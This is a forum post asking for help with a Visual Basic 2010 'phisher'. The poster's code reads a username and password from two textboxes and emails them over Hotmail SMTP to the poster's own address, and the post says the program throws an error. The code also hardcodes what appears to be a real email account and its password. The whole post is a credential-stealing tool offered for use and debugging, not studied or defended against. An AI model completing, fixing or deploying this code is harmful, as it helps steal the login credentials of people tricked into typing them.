phisher program

I have downloaded Visual Basic 2010 Express . and  I want to make a program on it that will send information entered in the Textboxes, and ill be sent to an email address. I think its called a Phisher. could you supply me with the coding for this, my main code is :

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim Email As New System.Net.Mail.MailMessage("themysterious180@hotmail.com", "themysterious180@hotmail.com")

        Email.Subject = "Username: " & TextBox1.Text

        Email.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text

        Dim mailClient As New System.Net.Mail.SmtpClient()

        'This object stores the authentication values

        Dim basicAuthenticationInfo As _
          New System.Net.NetworkCredential("themysterious180@hotmail.com", "richy176")

        mailClient.Host = "smtp.live.com"
        mailClient.Port = 587
        mailClient.EnableSsl = True

        mailClient.UseDefaultCredentials = False

        mailClient.Credentials = basicAuthenticationInfo

        mailClient.Send(Email)

    End Sub

when i run the program i get an error .. please help me